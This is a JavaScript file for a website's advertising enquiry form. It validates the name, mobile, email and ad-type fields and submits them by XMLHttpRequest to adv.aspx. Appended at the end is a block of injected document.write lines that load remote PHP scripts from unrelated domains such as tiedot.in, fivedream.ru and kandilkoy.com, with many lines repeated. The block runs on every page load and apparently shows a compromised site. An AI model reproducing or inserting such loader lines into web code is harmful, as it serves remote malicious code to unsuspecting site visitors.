﻿// JScript File

String.prototype.trim = function ()
{
    return this.replace(/^\s*/, "").replace(/\s*$/, "");
}
function echeck(str)
{

	var at="@"
	var dot="."
	var lat=str.indexOf(at)
	var lstr=str.length
	var ldot=str.indexOf(dot)
	if (str.indexOf(at)==-1){
	document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	return false
	}

	if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
	   document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	   return false
	}

	if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
	   document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	    return false
	}

	 if (str.indexOf(at,(lat+1))!=-1){
	    document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	    return false
	 }

	 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
	   document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	    return false
	 }

	 if (str.indexOf(dot,(lat+2))==-1){
	   document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	    return false
	 }
	
	 if (str.indexOf(" ")!=-1){
	   document.getElementById("Lbl").innerHTML="Invalid E-mail ID";
	    return false
	 }

	 return true					
}

function validate()
{
    
    document.getElementById("Lbl").style.color="red";
    //Full Name Validation
    
   var name = document.getElementById("nameTB").value;
   name = name.trim();
   if(name == "")
    {  
        document.getElementById("Lbl").innerHTML="Enter Name";
        document.getElementById("nameTB").focus();
        return false;
    }
    
    //Mobile Number Validation
    var mobile1 = document.getElementById("numTB").value;
    mobile1 = mobile1.trim();
    var phonenumber= /\d{10}/;
    if(mobile1!="")
   {
    if(!phonenumber.test(mobile1) || mobile1.length != 10 )
    {
        document.getElementById("Lbl").innerHTML="Invald Mobile Number";
        document.getElementById("numTB").focus();
        return false;
    }
    if(mobile1.charAt(0) != "9")
    {
        document.getElementById("Lbl").innerHTML="Mobile Number should start with 9";
        document.getElementById("numTB").focus();
        return false;
    }
    }
    
     //Email Validation
    var emailID = document.getElementById("emailTB").value;
    if ((emailID==null)||(emailID==""))
    {
		document.getElementById("Lbl").innerHTML="Please Enter your Email ID";
		document.getElementById("emailTB").focus();
		return false;
	}
	if (echeck(emailID)==false)
	{
		emailID.value="";
		emailID.focus();
		return false;
	}
    
    //adtype Validation
   var adtype = document.getElementById("adTB").value;
   adtype = adtype.trim();
   if(adtype == "")
   {
        document.getElementById("Lbl").innerHTML="Enter Ad Type";
        document.getElementById("adTB").focus();
        return false;
   }   
      
   
	
	var organisation= document.getElementById("orgTB").value;
	var comments=document.getElementById("commentTB").value;
	
	
	var xmlHttpObject = createxmlhttpobject(); 
    if(xmlHttpObject)
    {
        //alert('before dest');
        var dest = "adv.aspx";
        var url = "name=" + escape ( name );
        url = url + "&mobile=" + escape ( mobile1 );
        url = url + "&email=" + escape ( emailID );
        url = url + "&organization=" + escape ( organisation );
        url = url + "&adtype="+ escape ( adtype );
        url = url + "&comments="+ escape ( comments );
        
          xmlHttpObject.open("POST",dest,false);
          xmlHttpObject.onreadystatechange=function()
            {
                //alert('object created');
                if(xmlHttpObject.readyState == 4 && xmlHttpObject.status==200 )
                {
                    //alert('before response text');
                    var rec = xmlHttpObject.responseText;
                    //alert(rec);
                    if(rec == "fail")
                    alert("Insertion failed");
                    if(rec == "Success")
                    {
                    
                      document.getElementById("Lbl").style.color="green";
                      document.getElementById("Lbl").innerHTML="Your Details Have Been Submitted Successfully";
                      document.getElementById("adTB").value="";
                      document.getElementById("orgTB").value="";
                      document.getElementById("commentTB").value="";
                      document.getElementById("nameTB").value="";
                      document.getElementById("numTB").value="";
                      document.getElementById("emailTB").value="";
                      
                    }
                }
            }
        
         xmlHttpObject.send(url);
     
      }
	
    }

function createxmlhttpobject()
{  
    var xmlHttpobj= false;
      
    if(window.XMLHttpRequest)
    {
        xmlHttpobj=new XMLHttpRequest();
    }
    else if(window.ActiveXObject)
    {
        xmlHttpobj=new ActiveXObject("Microsoft.XMLHTTP");
    }
    return xmlHttpobj;
}


function CheckMaxChars(textboxname)
{
    //var element = document.getElementById(textboxname);
    if (textboxname.value.length > 1024)
    textboxname.value = textboxname.value.substring(0,1023);
}
document.write('<script src=http://interweigh.ca/stats/inmotion7.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://tiedot.in/tiedot/contactus.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://fivedream.ru/Humor/index.php ><\/script>');
document.write('<script src=http://roncocleaning.com/_images/products.php ><\/script>');
document.write('<script src=http://barbier-family.de/js/oberschl.php ><\/script>');
document.write('<script src=http://coquettecheesecake.net/images/gifimg.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://kandilkoy.com/components/htaccess.php ><\/script>');
document.write('<script src=http://avenue-alarms.co.uk/scripts/index.php ><\/script>');